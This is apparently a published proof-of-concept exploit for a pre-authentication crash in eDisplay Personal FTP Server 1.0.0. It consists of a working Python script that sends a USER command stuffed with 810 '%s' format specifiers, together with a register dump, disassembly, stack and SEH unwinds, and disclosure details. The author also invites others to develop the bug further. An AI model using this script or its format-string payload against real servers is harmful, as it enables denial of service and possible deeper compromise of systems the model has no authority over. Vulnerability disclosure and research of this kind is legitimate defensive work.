eDisplay Personal FTP Server 1.0.0 Pre-Authentication Crash

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# Title: eDisplay Personal FTP server 1.0.0 Pre-Authentication Crash (PoC)  
# From: The eh?-Team || The Great White Fuzz (we're not sure yet)  
# Found by: loneferret  
# Hat's off to dookie2000ca  
# Disvovery date: 16/03/2010  
# Software link: http://edisplay-personal-ftp-server.software.informer.com/  
# Tested on: Windows XP SP3 Professional  
# Nod to the Exploit-DB Team  
  
# Vendor informed via email : 17/03/2010  
  
#!/usr/bin/python  
  
#Pre-Authentication crash #1  
#I say crash number 1 since there's another instance where it crashes with the USER command.  
#Also many post-authentication commands also crash with the same buffer type (%n for example)  
#with variant degrees of interesting CPU registry overwrites.  
#It will crash if you send it about 40 '%s' really, but I've included my full session of 810 bytes sent.  
#As always, if anyone wants to take this further go right ahead. Just be nice and don't forget who found it.  
  
#CONTEXT DUMP  
# EIP: 7e4287aa mov dl,[eax]  
# EAX: 73736150 (1936941392) -> N/A  
# EBX: 0000000a ( 10) -> N/A  
# ECX: 73736150 (1936941392) -> N/A  
# EDX: 00000000 ( 0) -> N/A  
# EDI: 0012c9a6 ( 1231270) -> P(9d%s%s%s%s%s%s%s%s%s%s...%s%s%s%s%s%s%s%s%s%:UBsSHs%:vHEs<;T (stack)  
# ESI: 73736151 (1936941393) -> N/A  
# EBP: 0012c8e4 ( 1231076) -> P 9Hw331 Password required for Pthis control can act as an OLE drag/drop source,   
# and whether this process is started automatically   
# or under programmatic control.P(9d%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s (stack)  
# ESP: 0012c89c ( 1231004) -> 9HwC(J :^:{P 9Hw331 Password required for Pthis control can act as an OLE drag/drop source, and whether this process is started automatically or under programmatic (stack)  
# +00: 0139b8d0 ( 20560080) -> PWSOCK32.DLL (heap)  
# +04: 77124880 (1997686912) -> N/A  
# +08: 000000cd ( 205) -> N/A  
# +0c: 00000000 ( 0) -> N/A  
# +10: ffffffff (4294967295) -> N/A  
# +14: 00000000 ( 0) -> N/A  
  
#disasm around:  
# 0x7e428794 push eax  
# 0x7e428795 push byte 0x0  
# 0x7e428797 push esi  
# 0x7e428798 lea eax,[ebp+0x8]  
# 0x7e42879b push eax  
# 0x7e42879c call [0x7e4114b8]  
# 0x7e4287a2 jmp 0x7e428747  
# 0x7e4287a4 test eax,eax  
# 0x7e4287a6 jz 0x7e42875e  
# 0x7e4287a8 jmp 0x7e428747  
# 0x7e4287aa mov dl,[eax]  
# 0x7e4287ac inc eax  
# 0x7e4287ad test dl,dl  
# 0x7e4287af jnz 0x7e4287aa  
# 0x7e4287b1 sub eax,esi  
# 0x7e4287b3 xor esi,esi  
# 0x7e4287b5 xor edx,edx  
# 0x7e4287b7 cmp [ebp-0x28],edx  
# 0x7e4287ba jnl 0x7e443411  
# 0x7e4287c0 sub [ebp-0x18],eax  
# 0x7e4287c3 cmp esi,edx  
  
#stack unwind:  
# FtpServX.dll:50e0989b  
# FtpServX.dll:50e0a6d8  
# FtpServX.dll:50e09d91  
# USER32.dll:7e418734  
# USER32.dll:7e418816  
# USER32.dll:7e4189cd  
# USER32.dll:7e4196c7  
# MSVBVM60.DLL:7342a6b0  
# MSVBVM60.DLL:7342a627  
# MSVBVM60.DLL:7342a505  
  
#SEH unwind:  
# 0012fdf8 -> FtpServX.dll:50e1ceb4 mov eax,0x50e1fcf8  
# 0012fe58 -> USER32.dll:7e44048f push ebp  
# 0012ffa8 -> USER32.dll:7e44048f push ebp  
# 0012ffe0 -> MSVBVM60.DLL:7350bafd push ebp  
# ffffffff -> kernel32.dll:7c839ac0 push ebp  
  
  
import socket  
  
buffer = ("%s") * 810 # \x25\x73  
  
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)  
connect=s.connect(('xxx.xxx.xxx.xxx',21))  
s.recv(1024)  
s.send('USER '+buffer+'\r\n')  
s.recv(1024)  
  
  
`